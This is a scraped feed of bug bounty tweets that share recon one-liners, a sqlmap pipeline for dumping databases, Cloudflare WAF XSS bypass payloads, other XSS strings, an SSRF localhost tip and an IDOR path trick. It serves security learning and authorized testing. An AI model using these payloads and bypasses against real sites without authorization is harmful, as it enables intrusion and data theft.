Dakkar Key

Happy hunting, Cyber Cowboy...

* Open Bug Bounty :

[Mohammed. 💻 @teemz0x]

Methods To Find Sqli :

Command Line Tools Like a Pro
1. sublist3r -d target | tee -a domains
2. cat domains | httpx | tee -a alive
3. cat alive | waybackurls | tee -a urls
4. gf sqli urls >> sqli
5. sqlmap -m sqli.txt --dbs --batch

#BugBounty #CyberSecurity #bugbountytips

[JS0N Haddix @Jhaddix]

#bugbountytips

🧵 1/x

Starting from almost scratch. Testing Environment:

DO Ubuntu VPS, 2 vCPUs. 4GB mem / 60GB Disk, ($20/mo)

This works for most general tasks. In most VPS intensive tasks (content discovery, fuzzing, etc) memory is your bottleneck.

[Dakkar Key @DakkarKey]

Nice~~
https://t.co/D6phoBN4U1

[Zed Attack Proxy @zaproxy]

ZAPCon 2022 is Live! https://t.co/ACsrq6bdsM

[𝐑𝐀𝐢𝐡𝐚𝐧 @zapstiko]

Cloudflare #XSS WAF Bypass @nav1n0x

Payload: "%2Bself[%2F*foo*%2F'alert'%2F*bar*%2F](self[%2F*foo*%2F'document'%2F*bar*%2F]['domain'])%2F%2F

It's an ongoing program, so I had to mask the URL.

#bugbountytips #infosec #CloudflareWAF #WAFBypass

[Kathan Patel @KathanP19]

When Hunting on a Large scope program you can increase your attack surface by finding more tlds.

python3 tld_scanner.py -f -n -d google -s -m plain -o google_tld.txt

https://t.co/m8FT5gsogs

Make sure the domain belongs to the same org before hunting.
#bugbounty #bugbountytips

[Katie Paxton-Fear @InsiderPhD]

IDORs are usually my number one suggestion when it comes to first bugs, so this week I'm going to show you a tool to help you when you hunt for them. Autorize is a neat extension that can help you identify vulnerable endpoints!
#BugBounty #bugbountytip
https://t.co/IxAP487ANN

[Dakkar Key @DakkarKey]

👏👏👏👏

[Zed Attack Proxy @zaproxy]

Having problem reproducing the vulnerability on https://t.co/XWwEmC4l6U ?
It looks like the public OAST services are overloaded and not responding reliably so we recommend you set up your own. A note has been added to the blog.

[Hacking Articles @hackinarticles]

Best of Web Penetration Testing

https://t.co/uRvDNx87Ug

#infosec #pentest #cybersecurity #bugbounty

[Abhisar Pandey (MrGrep) @imabhisarpandey]

Want to learn SSRF? save this thread 🔥
(1/5) Blogs:
https://t.co/pnUhb9b1MH

https://t.co/NoWhMJsv5K

https://t.co/VXAMp7hYq1

https://t.co/A8Vxj4TWHS

https://t.co/HkmSq8xOOB

https://t.co/Jy16amvz22

https://t.co/mM647kiaXZ

https://t.co/Fo9SuhYOke

#bugbounty #cybersecurity

[HAHWUL @hahwul]

Testing OOB(Out-of-band) in #ZAP is now easy! with OAST. Anyway, I think it would be a good alternative to burp collaborator for ZAP #bugbounty hunters and users🚀

my blog post: https://t.co/rl2d6Nj21Y

[Emad Shanab - أبو عبد الله @Alra3ees]

You know you can get easy Server Side Request Forgery (SSRF) if you got one of these dirs:-

To test it inject http://127.0.0.1 or add this site to convert it to XSS https://t.co/R928jn8xlb

Good luck.

[Emad Shanab - أبو عبد الله @Alra3ees]

Automating Burp Suite:-

Part 1:-

https://t.co/t7yNhhaaw4

Part 2:-

https://t.co/zO6kFjf3X0

Part 3:-

https://t.co/WpDUWh0XRf

Part 4:-

https://t.co/EFO00NoMCy

[SecHawk @sec_hawk]

Here's a XSS payload that might work on e-commerce website parameters such as (login,checkout,cart)

' ''--></style></scRipt><scRipt>alert(1)</scRipt>

Sharing this as it worked for me today! 🙂

#InfoSec #BugBounty

[Dexter @s70nyD3x]

New CloudFlare XSS bypass

< svg on onload = ( alert ) ( document.domain ) >

r " on onmouseover = ( alert ) ( document.domain ) //

r * / eval ?. ( value % 2B / ( / . source ) // " > < input value = confirm autofocus onfocus = ' / * "

#bugbounty #bugbountytips #xss

[The XSS Rat - Proud XSS N00b :-) @theXSSrat]

#bugbountytip Excel note taking template if you need it :)

https://t.co/3sZPu4B7up

[Pomme @pxmme1337]

#bugbountytip #bugbounty #pii #critical

GET /api/users/1 (where I'm user 1) -> HTTP 200
GET /api/users/2 -> HTTP 403
GET /api/users/;;/2 -> HTTP 200

[HAHWUL @hahwul]

A sheet of neat #bugbountytips

https://t.co/5wXDNhRSYX

[👑 OFJAAAH → ofjaaah.com @ofjaaah]

🔥echo "https://t.co/CMXx5xuwZH" | haktrails subdomains | httpx -silent | getJS --complete | anew JS

Extract JS..

#bugbounty #bugbountytips

[Dakkar Key @DakkarKey]

@hahwul 굿굿.. 좋은 정보 감사~^^